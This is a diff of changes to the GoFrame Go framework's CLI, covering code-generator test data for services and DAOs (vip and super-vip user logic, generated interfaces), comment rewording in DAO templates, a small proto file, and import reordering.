func (*SubBase) Init() {
}
// subbase GetSubBase
func (*SubBase) GetSubBase() {
}

View File

@ -6,6 +6,7 @@ package logic
import (
_ "github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genservice/logic/article"
_ "github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genservice/logic/base"
_ "github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genservice/logic/delivery"
_ "github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genservice/logic/user"
)

View File

@ -0,0 +1,27 @@
package user
import (
"context"
"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genservice/service"
)
func init() {
service.RegisterSuperVipUser(&sSuperVipUser{
sVipUser: &sVipUser{},
})
}
type sSuperVipUser struct {
*sVipUser `gen:"extend"`
}
// Get supper vip user level
func (s sSuperVipUser) GetVipLevel(ctx context.Context) (vipLevel int, err error) {
return 1, nil
}
// Set supper vip user level
func (s *sSuperVipUser) SetVipLevel(ctx context.Context, id int, vipLevel int) (err error) {
return nil
}

View File

@ -9,6 +9,7 @@ package user
import (
"context"
"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genservice/logic/base"
"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genservice/service"
)
@ -17,6 +18,7 @@ func init() {
}
type sUser struct {
base.Base
}
func New() *sUser {

View File

@ -0,0 +1,29 @@
package user
import (
"context"
bbb "github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genservice/logic/base"
"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genservice/service"
)
func init() {
service.RegisterVipUser(&sVipUser{})
}
type mybase = bbb.Base
type sVipUser struct {
sUser `gen:"extend"`
mybase `gen:"extend"`
}
// Create creates a new vip user.
func (s *sVipUser) Create(ctx context.Context, name string, vipLevel int) (id int, err error) {
return 0, nil
}
// Get vip user level
func (s *sVipUser) GetVipLevel() (vipLevel int, err error) {
return 1, nil
}

View File

@ -0,0 +1,32 @@
// ================================================================================
// Code generated and maintained by GoFrame CLI tool. DO NOT EDIT.
// You can delete these comments if you wish manually maintain this interface file.
// ================================================================================
package service
type (
IBase interface {
// sBase Init
Init()
// sBase Destory
Destory()
// baseDestory BeforeDestory
BeforeDestory()
}
)
var (
localBase IBase
)
func Base() IBase {
if localBase == nil {
panic("implement not found for interface IBase, forgot register?")
}
return localBase
}
func RegisterBase(i IBase) {
localBase = i
}

View File

@ -10,6 +10,28 @@ import (
)
type (
ISuperVipUser interface {
// Get supper vip user level
GetVipLevel(ctx context.Context) (vipLevel int, err error)
// Set supper vip user level
SetVipLevel(ctx context.Context, id int, vipLevel int) (err error)
// Create creates a new vip user.
Create(ctx context.Context, name string, vipLevel int) (id int, err error)
// GetOne retrieves user by id.
GetOne(ctx context.Context, id int) (name string, err error)
// GetList retrieves user list.
GetList(ctx context.Context) (names []string, err error)
// Update updates user by id.
Update(ctx context.Context, id int) (name string, err error)
// Delete deletes user by id.
Delete(ctx context.Context, id int) (err error)
// sBase Init
Init()
// sBase Destory
Destory()
// baseDestory BeforeDestory
BeforeDestory()
}
IUser interface {
// Create creates a new user.
Create(ctx context.Context, name string) (id int, err error)
@ -22,12 +44,45 @@ type (
// Delete deletes user by id.
Delete(ctx context.Context, id int) (err error)
}
IVipUser interface {
// Create creates a new vip user.
Create(ctx context.Context, name string, vipLevel int) (id int, err error)
// Get vip user level
GetVipLevel() (vipLevel int, err error)
// GetOne retrieves user by id.
GetOne(ctx context.Context, id int) (name string, err error)
// GetList retrieves user list.
GetList(ctx context.Context) (names []string, err error)
// Update updates user by id.
Update(ctx context.Context, id int) (name string, err error)
// Delete deletes user by id.
Delete(ctx context.Context, id int) (err error)
// sBase Init
Init()
// sBase Destory
Destory()
// baseDestory BeforeDestory
BeforeDestory()
}
)
var (
localUser IUser
localSuperVipUser ISuperVipUser
localUser IUser
localVipUser IVipUser
)
func SuperVipUser() ISuperVipUser {
if localSuperVipUser == nil {
panic("implement not found for interface ISuperVipUser, forgot register?")
}
return localSuperVipUser
}
func RegisterSuperVipUser(i ISuperVipUser) {
localSuperVipUser = i
}
func User() IUser {
if localUser == nil {
panic("implement not found for interface IUser, forgot register?")
@ -38,3 +93,14 @@ func User() IUser {
func RegisterUser(i IUser) {
localUser = i
}
func VipUser() IVipUser {
if localVipUser == nil {
panic("implement not found for interface IVipUser, forgot register?")
}
return localVipUser
}
func RegisterVipUser(i IVipUser) {
localVipUser = i
}

View File

@ -11,14 +11,14 @@ import (
"github.com/gogf/gf/v2/frame/g"
)
// User3Dao is the data access object for table user3.
// User3Dao is the data access object for the table user3.
type User3Dao struct {
table string // table is the underlying table name of the DAO.
group string // group is the database configuration group name of current DAO.
group string // group is the database configuration group name of the current DAO.
columns User3Columns // columns contains all the column names of Table for convenient usage.
}
// User3Columns defines and stores column names for table user3.
// User3Columns defines and stores column names for the table user3.
type User3Columns struct {
Id string // User ID
Passport string // User Passport
@ -29,7 +29,7 @@ type User3Columns struct {
UpdateAt string // Updated Time
}
// user3Columns holds the columns for table user3.
// user3Columns holds the columns for the table user3.
var user3Columns = User3Columns{
Id: "id",
Passport: "passport",
@ -49,36 +49,36 @@ func NewUser3Dao() *User3Dao {
}
}
// DB retrieves and returns the underlying raw database management object of current DAO.
// DB retrieves and returns the underlying raw database management object of the current DAO.
func (dao *User3Dao) DB() gdb.DB {
return g.DB(dao.group)
}
// Table returns the table name of current dao.
// Table returns the table name of the current DAO.
func (dao *User3Dao) Table() string {
return dao.table
}
// Columns returns all column names of current dao.
// Columns returns all column names of the current DAO.
func (dao *User3Dao) Columns() User3Columns {
return dao.columns
}
// Group returns the configuration group name of database of current dao.
// Group returns the database configuration group name of the current DAO.
func (dao *User3Dao) Group() string {
return dao.group
}
// Ctx creates and returns the Model for current DAO, It automatically sets the context for current operation.
// Ctx creates and returns a Model for the current DAO. It automatically sets the context for the current operation.
func (dao *User3Dao) Ctx(ctx context.Context) *gdb.Model {
return dao.DB().Model(dao.table).Safe().Ctx(ctx)
}
// Transaction wraps the transaction logic using function f.
// It rollbacks the transaction and returns the error from function f if it returns non-nil error.
// It rolls back the transaction and returns the error if function f returns a non-nil error.
// It commits the transaction and returns nil if function f returns nil.
//
// Note that, you should not Commit or Rollback the transaction in function f
// Note: Do not commit or roll back the transaction in function f,
// as it is automatically handled by this function.
func (dao *User3Dao) Transaction(ctx context.Context, f func(ctx context.Context, tx gdb.TX) error) (err error) {
return dao.Ctx(ctx).Transaction(ctx, f)

View File

@ -11,14 +11,14 @@ import (
"github.com/gogf/gf/v2/frame/g"
)
// User4Dao is the data access object for table user4.
// User4Dao is the data access object for the table user4.
type User4Dao struct {
table string // table is the underlying table name of the DAO.
group string // group is the database configuration group name of current DAO.
group string // group is the database configuration group name of the current DAO.
columns User4Columns // columns contains all the column names of Table for convenient usage.
}
// User4Columns defines and stores column names for table user4.
// User4Columns defines and stores column names for the table user4.
type User4Columns struct {
Id string // User ID
Passport string // User Passport
@ -29,7 +29,7 @@ type User4Columns struct {
UpdateAt string // Updated Time
}
// user4Columns holds the columns for table user4.
// user4Columns holds the columns for the table user4.
var user4Columns = User4Columns{
Id: "id",
Passport: "passport",
@ -49,36 +49,36 @@ func NewUser4Dao() *User4Dao {
}
}
// DB retrieves and returns the underlying raw database management object of current DAO.
// DB retrieves and returns the underlying raw database management object of the current DAO.
func (dao *User4Dao) DB() gdb.DB {
return g.DB(dao.group)
}
// Table returns the table name of current dao.
// Table returns the table name of the current DAO.
func (dao *User4Dao) Table() string {
return dao.table
}
// Columns returns all column names of current dao.
// Columns returns all column names of the current DAO.
func (dao *User4Dao) Columns() User4Columns {
return dao.columns
}
// Group returns the configuration group name of database of current dao.
// Group returns the database configuration group name of the current DAO.
func (dao *User4Dao) Group() string {
return dao.group
}
// Ctx creates and returns the Model for current DAO, It automatically sets the context for current operation.
// Ctx creates and returns a Model for the current DAO. It automatically sets the context for the current operation.
func (dao *User4Dao) Ctx(ctx context.Context) *gdb.Model {
return dao.DB().Model(dao.table).Safe().Ctx(ctx)
}
// Transaction wraps the transaction logic using function f.
// It rollbacks the transaction and returns the error from function f if it returns non-nil error.
// It rolls back the transaction and returns the error if function f returns a non-nil error.
// It commits the transaction and returns nil if function f returns nil.
//
// Note that, you should not Commit or Rollback the transaction in function f
// Note: Do not commit or roll back the transaction in function f,
// as it is automatically handled by this function.
func (dao *User4Dao) Transaction(ctx context.Context, f func(ctx context.Context, tx gdb.TX) error) (err error) {
return dao.Ctx(ctx).Transaction(ctx, f)

View File

@ -1,5 +1,5 @@
// =================================================================================
// This is auto-generated by GoFrame CLI tool only once. Fill this file as you wish.
// This file is auto-generated by the GoFrame CLI tool. You may modify it as needed.
// =================================================================================
package dao
@ -8,20 +8,20 @@ import (
"/internal"
)
// internalUser3Dao is internal type for wrapping internal DAO implements.
// internalUser3Dao is an internal type for wrapping the internal DAO implementation.
type internalUser3Dao = *internal.User3Dao
// user3Dao is the data access object for table user3.
// You can define custom methods on it to extend its functionality as you wish.
// user3Dao is the data access object for the table user3.
// You can define custom methods on it to extend its functionality as needed.
type user3Dao struct {
internalUser3Dao
}
var (
// User3 is globally public accessible object for table user3 operations.
// User3 is a globally accessible object for table user3 operations.
User3 = user3Dao{
internal.NewUser3Dao(),
}
)
// Fill with you ideas below.
// Add your custom methods and functionality below.

View File

@ -1,5 +1,5 @@
// =================================================================================
// This is auto-generated by GoFrame CLI tool only once. Fill this file as you wish.
// This file is auto-generated by the GoFrame CLI tool. You may modify it as needed.
// =================================================================================
package dao
@ -8,20 +8,20 @@ import (
"/internal"
)
// internalUser4Dao is internal type for wrapping internal DAO implements.
// internalUser4Dao is an internal type for wrapping the internal DAO implementation.
type internalUser4Dao = *internal.User4Dao
// user4Dao is the data access object for table user4.
// You can define custom methods on it to extend its functionality as you wish.
// user4Dao is the data access object for the table user4.
// You can define custom methods on it to extend its functionality as needed.
type user4Dao struct {
internalUser4Dao
}
var (
// User4 is globally public accessible object for table user4 operations.
// User4 is a globally accessible object for table user4 operations.
User4 = user4Dao{
internal.NewUser4Dao(),
}
)
// Fill with you ideas below.
// Add your custom methods and functionality below.

View File

@ -11,14 +11,14 @@ import (
"github.com/gogf/gf/v2/frame/g"
)
// User1Dao is the data access object for table user1.
// User1Dao is the data access object for the table user1.
type User1Dao struct {
table string // table is the underlying table name of the DAO.
group string // group is the database configuration group name of current DAO.
group string // group is the database configuration group name of the current DAO.
columns User1Columns // columns contains all the column names of Table for convenient usage.
}
// User1Columns defines and stores column names for table user1.
// User1Columns defines and stores column names for the table user1.
type User1Columns struct {
Id string // User ID
Passport string // User Passport
@ -29,7 +29,7 @@ type User1Columns struct {
UpdateAt string // Updated Time
}
// user1Columns holds the columns for table user1.
// user1Columns holds the columns for the table user1.
var user1Columns = User1Columns{
Id: "id",
Passport: "passport",
@ -49,36 +49,36 @@ func NewUser1Dao() *User1Dao {
}
}
// DB retrieves and returns the underlying raw database management object of current DAO.
// DB retrieves and returns the underlying raw database management object of the current DAO.
func (dao *User1Dao) DB() gdb.DB {
return g.DB(dao.group)
}
// Table returns the table name of current dao.
// Table returns the table name of the current DAO.
func (dao *User1Dao) Table() string {
return dao.table
}
// Columns returns all column names of current dao.
// Columns returns all column names of the current DAO.
func (dao *User1Dao) Columns() User1Columns {
return dao.columns
}
// Group returns the configuration group name of database of current dao.
// Group returns the database configuration group name of the current DAO.
func (dao *User1Dao) Group() string {
return dao.group
}
// Ctx creates and returns the Model for current DAO, It automatically sets the context for current operation.
// Ctx creates and returns a Model for the current DAO. It automatically sets the context for the current operation.
func (dao *User1Dao) Ctx(ctx context.Context) *gdb.Model {
return dao.DB().Model(dao.table).Safe().Ctx(ctx)
}
// Transaction wraps the transaction logic using function f.
// It rollbacks the transaction and returns the error from function f if it returns non-nil error.
// It rolls back the transaction and returns the error if function f returns a non-nil error.
// It commits the transaction and returns nil if function f returns nil.
//
// Note that, you should not Commit or Rollback the transaction in function f
// Note: Do not commit or roll back the transaction in function f,
// as it is automatically handled by this function.
func (dao *User1Dao) Transaction(ctx context.Context, f func(ctx context.Context, tx gdb.TX) error) (err error) {
return dao.Ctx(ctx).Transaction(ctx, f)

View File

@ -11,14 +11,14 @@ import (
"github.com/gogf/gf/v2/frame/g"
)
// User2Dao is the data access object for table user2.
// User2Dao is the data access object for the table user2.
type User2Dao struct {
table string // table is the underlying table name of the DAO.
group string // group is the database configuration group name of current DAO.
group string // group is the database configuration group name of the current DAO.
columns User2Columns // columns contains all the column names of Table for convenient usage.
}
// User2Columns defines and stores column names for table user2.
// User2Columns defines and stores column names for the table user2.
type User2Columns struct {
Id string // User ID
Passport string // User Passport
@ -29,7 +29,7 @@ type User2Columns struct {
UpdateAt string // Updated Time
}
// user2Columns holds the columns for table user2.
// user2Columns holds the columns for the table user2.
var user2Columns = User2Columns{
Id: "id",
Passport: "passport",
@ -49,36 +49,36 @@ func NewUser2Dao() *User2Dao {
}
}
// DB retrieves and returns the underlying raw database management object of current DAO.
// DB retrieves and returns the underlying raw database management object of the current DAO.
func (dao *User2Dao) DB() gdb.DB {
return g.DB(dao.group)
}
// Table returns the table name of current dao.
// Table returns the table name of the current DAO.
func (dao *User2Dao) Table() string {
return dao.table
}
// Columns returns all column names of current dao.
// Columns returns all column names of the current DAO.
func (dao *User2Dao) Columns() User2Columns {
return dao.columns
}
// Group returns the configuration group name of database of current dao.
// Group returns the database configuration group name of the current DAO.
func (dao *User2Dao) Group() string {
return dao.group
}
// Ctx creates and returns the Model for current DAO, It automatically sets the context for current operation.
// Ctx creates and returns a Model for the current DAO. It automatically sets the context for the current operation.
func (dao *User2Dao) Ctx(ctx context.Context) *gdb.Model {
return dao.DB().Model(dao.table).Safe().Ctx(ctx)
}
// Transaction wraps the transaction logic using function f.
// It rollbacks the transaction and returns the error from function f if it returns non-nil error.
// It rolls back the transaction and returns the error if function f returns a non-nil error.
// It commits the transaction and returns nil if function f returns nil.
//
// Note that, you should not Commit or Rollback the transaction in function f
// Note: Do not commit or roll back the transaction in function f,
// as it is automatically handled by this function.
func (dao *User2Dao) Transaction(ctx context.Context, f func(ctx context.Context, tx gdb.TX) error) (err error) {
return dao.Ctx(ctx).Transaction(ctx, f)

View File

@ -11,14 +11,14 @@ import (
"github.com/gogf/gf/v2/frame/g"
)
// User3Dao is the data access object for table user3.
// User3Dao is the data access object for the table user3.
type User3Dao struct {
table string // table is the underlying table name of the DAO.
group string // group is the database configuration group name of current DAO.
group string // group is the database configuration group name of the current DAO.
columns User3Columns // columns contains all the column names of Table for convenient usage.
}
// User3Columns defines and stores column names for table user3.
// User3Columns defines and stores column names for the table user3.
type User3Columns struct {
Id string // User ID
Passport string // User Passport
@ -29,7 +29,7 @@ type User3Columns struct {
UpdateAt string // Updated Time
}
// user3Columns holds the columns for table user3.
// user3Columns holds the columns for the table user3.
var user3Columns = User3Columns{
Id: "id",
Passport: "passport",
@ -49,36 +49,36 @@ func NewUser3Dao() *User3Dao {
}
}
// DB retrieves and returns the underlying raw database management object of current DAO.
// DB retrieves and returns the underlying raw database management object of the current DAO.
func (dao *User3Dao) DB() gdb.DB {
return g.DB(dao.group)
}
// Table returns the table name of current dao.
// Table returns the table name of the current DAO.
func (dao *User3Dao) Table() string {
return dao.table
}
// Columns returns all column names of current dao.
// Columns returns all column names of the current DAO.
func (dao *User3Dao) Columns() User3Columns {
return dao.columns
}
// Group returns the configuration group name of database of current dao.
// Group returns the database configuration group name of the current DAO.
func (dao *User3Dao) Group() string {
return dao.group
}
// Ctx creates and returns the Model for current DAO, It automatically sets the context for current operation.
// Ctx creates and returns a Model for the current DAO. It automatically sets the context for the current operation.
func (dao *User3Dao) Ctx(ctx context.Context) *gdb.Model {
return dao.DB().Model(dao.table).Safe().Ctx(ctx)
}
// Transaction wraps the transaction logic using function f.
// It rollbacks the transaction and returns the error from function f if it returns non-nil error.
// It rolls back the transaction and returns the error if function f returns a non-nil error.
// It commits the transaction and returns nil if function f returns nil.
//
// Note that, you should not Commit or Rollback the transaction in function f
// Note: Do not commit or roll back the transaction in function f,
// as it is automatically handled by this function.
func (dao *User3Dao) Transaction(ctx context.Context, f func(ctx context.Context, tx gdb.TX) error) (err error) {
return dao.Ctx(ctx).Transaction(ctx, f)

View File

@ -11,14 +11,14 @@ import (
"github.com/gogf/gf/v2/frame/g"
)
// User4Dao is the data access object for table user4.
// User4Dao is the data access object for the table user4.
type User4Dao struct {
table string // table is the underlying table name of the DAO.
group string // group is the database configuration group name of current DAO.
group string // group is the database configuration group name of the current DAO.
columns User4Columns // columns contains all the column names of Table for convenient usage.
}
// User4Columns defines and stores column names for table user4.
// User4Columns defines and stores column names for the table user4.
type User4Columns struct {
Id string // User ID
Passport string // User Passport
@ -29,7 +29,7 @@ type User4Columns struct {
UpdateAt string // Updated Time
}
// user4Columns holds the columns for table user4.
// user4Columns holds the columns for the table user4.
var user4Columns = User4Columns{
Id: "id",
Passport: "passport",
@ -49,36 +49,36 @@ func NewUser4Dao() *User4Dao {
}
}
// DB retrieves and returns the underlying raw database management object of current DAO.
// DB retrieves and returns the underlying raw database management object of the current DAO.
func (dao *User4Dao) DB() gdb.DB {
return g.DB(dao.group)
}
// Table returns the table name of current dao.
// Table returns the table name of the current DAO.
func (dao *User4Dao) Table() string {
return dao.table
}
// Columns returns all column names of current dao.
// Columns returns all column names of the current DAO.
func (dao *User4Dao) Columns() User4Columns {
return dao.columns
}
// Group returns the configuration group name of database of current dao.
// Group returns the database configuration group name of the current DAO.
func (dao *User4Dao) Group() string {
return dao.group
}
// Ctx creates and returns the Model for current DAO, It automatically sets the context for current operation.
// Ctx creates and returns a Model for the current DAO. It automatically sets the context for the current operation.
func (dao *User4Dao) Ctx(ctx context.Context) *gdb.Model {
return dao.DB().Model(dao.table).Safe().Ctx(ctx)
}
// Transaction wraps the transaction logic using function f.
// It rollbacks the transaction and returns the error from function f if it returns non-nil error.
// It rolls back the transaction and returns the error if function f returns a non-nil error.
// It commits the transaction and returns nil if function f returns nil.
//
// Note that, you should not Commit or Rollback the transaction in function f
// Note: Do not commit or roll back the transaction in function f,
// as it is automatically handled by this function.
func (dao *User4Dao) Transaction(ctx context.Context, f func(ctx context.Context, tx gdb.TX) error) (err error) {
return dao.Ctx(ctx).Transaction(ctx, f)

View File

@ -1,5 +1,5 @@
// =================================================================================
// This is auto-generated by GoFrame CLI tool only once. Fill this file as you wish.
// This file is auto-generated by the GoFrame CLI tool. You may modify it as needed.
// =================================================================================
// I am not overwritten.
@ -10,20 +10,20 @@ import (
"/internal"
)
// internalUser1Dao is internal type for wrapping internal DAO implements.
// internalUser1Dao is an internal type for wrapping the internal DAO implementation.
type internalUser1Dao = *internal.User1Dao
// user1Dao is the data access object for table user1.
// You can define custom methods on it to extend its functionality as you wish.
// user1Dao is the data access object for the table user1.
// You can define custom methods on it to extend its functionality as needed.
type user1Dao struct {
internalUser1Dao
}
var (
// User1 is globally public accessible object for table user1 operations.
// User1 is a globally accessible object for table user1 operations.
User1 = user1Dao{
internal.NewUser1Dao(),
}
)
// Fill with you ideas below.
// Add your custom methods and functionality below.

View File

@ -1,5 +1,5 @@
// =================================================================================
// This is auto-generated by GoFrame CLI tool only once. Fill this file as you wish.
// This file is auto-generated by the GoFrame CLI tool. You may modify it as needed.
// =================================================================================
// I am not overwritten.
@ -10,20 +10,20 @@ import (
"/internal"
)
// internalUser2Dao is internal type for wrapping internal DAO implements.
// internalUser2Dao is an internal type for wrapping the internal DAO implementation.
type internalUser2Dao = *internal.User2Dao
// user2Dao is the data access object for table user2.
// You can define custom methods on it to extend its functionality as you wish.
// user2Dao is the data access object for the table user2.
// You can define custom methods on it to extend its functionality as needed.
type user2Dao struct {
internalUser2Dao
}
var (
// User2 is globally public accessible object for table user2 operations.
// User2 is a globally accessible object for table user2 operations.
User2 = user2Dao{
internal.NewUser2Dao(),
}
)
// Fill with you ideas below.
// Add your custom methods and functionality below.

View File

@ -1,5 +1,5 @@
// =================================================================================
// This is auto-generated by GoFrame CLI tool only once. Fill this file as you wish.
// This file is auto-generated by the GoFrame CLI tool. You may modify it as needed.
// =================================================================================
package dao
@ -8,20 +8,20 @@ import (
"/internal"
)
// internalUser3Dao is internal type for wrapping internal DAO implements.
// internalUser3Dao is an internal type for wrapping the internal DAO implementation.
type internalUser3Dao = *internal.User3Dao
// user3Dao is the data access object for table user3.
// You can define custom methods on it to extend its functionality as you wish.
// user3Dao is the data access object for the table user3.
// You can define custom methods on it to extend its functionality as needed.
type user3Dao struct {
internalUser3Dao
}
var (
// User3 is globally public accessible object for table user3 operations.
// User3 is a globally accessible object for table user3 operations.
User3 = user3Dao{
internal.NewUser3Dao(),
}
)
// Fill with you ideas below.
// Add your custom methods and functionality below.

View File

@ -1,5 +1,5 @@
// =================================================================================
// This is auto-generated by GoFrame CLI tool only once. Fill this file as you wish.
// This file is auto-generated by the GoFrame CLI tool. You may modify it as needed.
// =================================================================================
package dao
@ -8,20 +8,20 @@ import (
"/internal"
)
// internalUser4Dao is internal type for wrapping internal DAO implements.
// internalUser4Dao is an internal type for wrapping the internal DAO implementation.
type internalUser4Dao = *internal.User4Dao
// user4Dao is the data access object for table user4.
// You can define custom methods on it to extend its functionality as you wish.
// user4Dao is the data access object for the table user4.
// You can define custom methods on it to extend its functionality as needed.
type user4Dao struct {
internalUser4Dao
}
var (
// User4 is globally public accessible object for table user4 operations.
// User4 is a globally accessible object for table user4 operations.
User4 = user4Dao{
internal.NewUser4Dao(),
}
)
// Fill with you ideas below.
// Add your custom methods and functionality below.

View File

@ -11,14 +11,14 @@ import (
"github.com/gogf/gf/v2/frame/g"
)
// TableUserDao is the data access object for table table_user.
// TableUserDao is the data access object for the table table_user.
type TableUserDao struct {
table string // table is the underlying table name of the DAO.
group string // group is the database configuration group name of current DAO.
group string // group is the database configuration group name of the current DAO.
columns TableUserColumns // columns contains all the column names of Table for convenient usage.
}
// TableUserColumns defines and stores column names for table table_user.
// TableUserColumns defines and stores column names for the table table_user.
type TableUserColumns struct {
Id string // User ID
ParentId string //
@ -29,7 +29,7 @@ type TableUserColumns struct {
UpdateAt string // Updated Time
}
// tableUserColumns holds the columns for table table_user.
// tableUserColumns holds the columns for the table table_user.
var tableUserColumns = TableUserColumns{
Id: "Id",
ParentId: "parentId",
@ -49,36 +49,36 @@ func NewTableUserDao() *TableUserDao {
}
}
// DB retrieves and returns the underlying raw database management object of current DAO.
// DB retrieves and returns the underlying raw database management object of the current DAO.
func (dao *TableUserDao) DB() gdb.DB {
return g.DB(dao.group)
}
// Table returns the table name of current dao.
// Table returns the table name of the current DAO.
func (dao *TableUserDao) Table() string {
return dao.table
}
// Columns returns all column names of current dao.
// Columns returns all column names of the current DAO.
func (dao *TableUserDao) Columns() TableUserColumns {
return dao.columns
}
// Group returns the configuration group name of database of current dao.
// Group returns the database configuration group name of the current DAO.
func (dao *TableUserDao) Group() string {
return dao.group
}
// Ctx creates and returns the Model for current DAO, It automatically sets the context for current operation.
// Ctx creates and returns a Model for the current DAO. It automatically sets the context for the current operation.
func (dao *TableUserDao) Ctx(ctx context.Context) *gdb.Model {
return dao.DB().Model(dao.table).Safe().Ctx(ctx)
}
// Transaction wraps the transaction logic using function f.
// It rollbacks the transaction and returns the error from function f if it returns non-nil error.
// It rolls back the transaction and returns the error if function f returns a non-nil error.
// It commits the transaction and returns nil if function f returns nil.
//
// Note that, you should not Commit or Rollback the transaction in function f
// Note: Do not commit or roll back the transaction in function f,
// as it is automatically handled by this function.
func (dao *TableUserDao) Transaction(ctx context.Context, f func(ctx context.Context, tx gdb.TX) error) (err error) {
return dao.Ctx(ctx).Transaction(ctx, f)

View File

@ -1,5 +1,5 @@
// =================================================================================
// This is auto-generated by GoFrame CLI tool only once. Fill this file as you wish.
// This file is auto-generated by the GoFrame CLI tool. You may modify it as needed.
// =================================================================================
package dao
@ -8,20 +8,20 @@ import (
"for-gendao-test/pkg/dao/internal"
)
// internalTableUserDao is internal type for wrapping internal DAO implements.
// internalTableUserDao is an internal type for wrapping the internal DAO implementation.
type internalTableUserDao = *internal.TableUserDao
// tableUserDao is the data access object for table table_user.
// You can define custom methods on it to extend its functionality as you wish.
// tableUserDao is the data access object for the table table_user.
// You can define custom methods on it to extend its functionality as needed.
type tableUserDao struct {
internalTableUserDao
}
var (
// TableUser is globally public accessible object for table table_user operations.
// TableUser is a globally accessible object for table table_user operations.
TableUser = tableUserDao{
internal.NewTableUserDao(),
}
)
// Fill with you ideas below.
// Add your custom methods and functionality below.

View File

@ -4,6 +4,7 @@ import (
"context"
"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/issue/3835/service"
"github.com/gogf/gf/contrib/drivers/mysql/v2"
)

View File

@ -0,0 +1,16 @@
syntax = "proto3";
package account;
option go_package = "account/v1";
service Account {
rpc getUserByIds (Req) returns (Resp) {
}
}
message Req {
repeated int64 ids = 1; // v: required
}
message Resp {
repeated string data = 1;
}

View File

@ -8,7 +8,7 @@ package consts
const TemplateGenDaoIndexContent = `
// =================================================================================
// This is auto-generated by GoFrame CLI tool only once. Fill this file as you wish.
// This file is auto-generated by the GoFrame CLI tool. You may modify it as needed.
// =================================================================================
package {TplPackageName}
@ -17,23 +17,23 @@ import (
"{TplImportPrefix}/internal"
)
// internal{TplTableNameCamelCase}Dao is internal type for wrapping internal DAO implements.
// internal{TplTableNameCamelCase}Dao is an internal type for wrapping the internal DAO implementation.
type internal{TplTableNameCamelCase}Dao = *internal.{TplTableNameCamelCase}Dao
// {TplTableNameCamelLowerCase}Dao is the data access object for table {TplTableName}.
// You can define custom methods on it to extend its functionality as you wish.
// {TplTableNameCamelLowerCase}Dao is the data access object for the table {TplTableName}.
// You can define custom methods on it to extend its functionality as needed.
type {TplTableNameCamelLowerCase}Dao struct {
internal{TplTableNameCamelCase}Dao
}
var (
// {TplTableNameCamelCase} is globally public accessible object for table {TplTableName} operations.
// {TplTableNameCamelCase} is a globally accessible object for table {TplTableName} operations.
{TplTableNameCamelCase} = {TplTableNameCamelLowerCase}Dao{
internal.New{TplTableNameCamelCase}Dao(),
}
)
// Fill with you ideas below.
// Add your custom methods and functionality below.
`
@ -51,19 +51,19 @@ import (
"github.com/gogf/gf/v2/frame/g"
)
// {TplTableNameCamelCase}Dao is the data access object for table {TplTableName}.
// {TplTableNameCamelCase}Dao is the data access object for the table {TplTableName}.
type {TplTableNameCamelCase}Dao struct {
table string // table is the underlying table name of the DAO.
group string // group is the database configuration group name of current DAO.
group string // group is the database configuration group name of the current DAO.
columns {TplTableNameCamelCase}Columns // columns contains all the column names of Table for convenient usage.
}
// {TplTableNameCamelCase}Columns defines and stores column names for table {TplTableName}.
// {TplTableNameCamelCase}Columns defines and stores column names for the table {TplTableName}.
type {TplTableNameCamelCase}Columns struct {
{TplColumnDefine}
}
// {TplTableNameCamelLowerCase}Columns holds the columns for table {TplTableName}.
// {TplTableNameCamelLowerCase}Columns holds the columns for the table {TplTableName}.
var {TplTableNameCamelLowerCase}Columns = {TplTableNameCamelCase}Columns{
{TplColumnNames}
}
@ -77,36 +77,36 @@ func New{TplTableNameCamelCase}Dao() *{TplTableNameCamelCase}Dao {
}
}
// DB retrieves and returns the underlying raw database management object of current DAO.
// DB retrieves and returns the underlying raw database management object of the current DAO.
func (dao *{TplTableNameCamelCase}Dao) DB() gdb.DB {
return g.DB(dao.group)
}
// Table returns the table name of current dao.
// Table returns the table name of the current DAO.
func (dao *{TplTableNameCamelCase}Dao) Table() string {
return dao.table
}
// Columns returns all column names of current dao.
// Columns returns all column names of the current DAO.
func (dao *{TplTableNameCamelCase}Dao) Columns() {TplTableNameCamelCase}Columns {
return dao.columns
}
// Group returns the configuration group name of database of current dao.
// Group returns the database configuration group name of the current DAO.
func (dao *{TplTableNameCamelCase}Dao) Group() string {
return dao.group
}
// Ctx creates and returns the Model for current DAO, It automatically sets the context for current operation.
// Ctx creates and returns a Model for the current DAO. It automatically sets the context for the current operation.
func (dao *{TplTableNameCamelCase}Dao) Ctx(ctx context.Context) *gdb.Model {
return dao.DB().Model(dao.table).Safe().Ctx(ctx)
}
// Transaction wraps the transaction logic using function f.
// It rollbacks the transaction and returns the error from function f if it returns non-nil error.
// It rolls back the transaction and returns the error if function f returns a non-nil error.
// It commits the transaction and returns nil if function f returns nil.
//
// Note that, you should not Commit or Rollback the transaction in function f
// Note: Do not commit or roll back the transaction in function f,
// as it is automatically handled by this function.
func (dao *{TplTableNameCamelCase}Dao) Transaction(ctx context.Context, f func(ctx context.Context, tx gdb.TX) error) (err error) {
return dao.Ctx(ctx).Transaction(ctx, f)

View File

@ -10,8 +10,9 @@ import (
"fmt"
"testing"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/utils"
"github.com/gogf/gf/v2/test/gtest"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/utils"
)
func Test_GetModPath(t *testing.T) {

View File

@ -7,17 +7,19 @@
package main
import (
"github.com/gogf/gf/cmd/gf/v2/gfcmd"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
"github.com/gogf/gf/v2/errors/gerror"
"github.com/gogf/gf/v2/os/gctx"
"github.com/gogf/gf/cmd/gf/v2/gfcmd"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
)
func main() {
var (
ctx = gctx.GetInitCtx()
ctx = gctx.GetInitCtx()
command, err = gfcmd.GetCommand(ctx)
)
command, err := gfcmd.GetCommand(ctx)
if err != nil {
mlog.Fatalf(`%+v`, err)
}

View File

@ -9,10 +9,9 @@ package garray_test
import (
"fmt"
"github.com/gogf/gf/v2/internal/empty"
"github.com/gogf/gf/v2/container/garray"
"github.com/gogf/gf/v2/frame/g"
"github.com/gogf/gf/v2/internal/empty"
)
func ExampleNew() {

View File

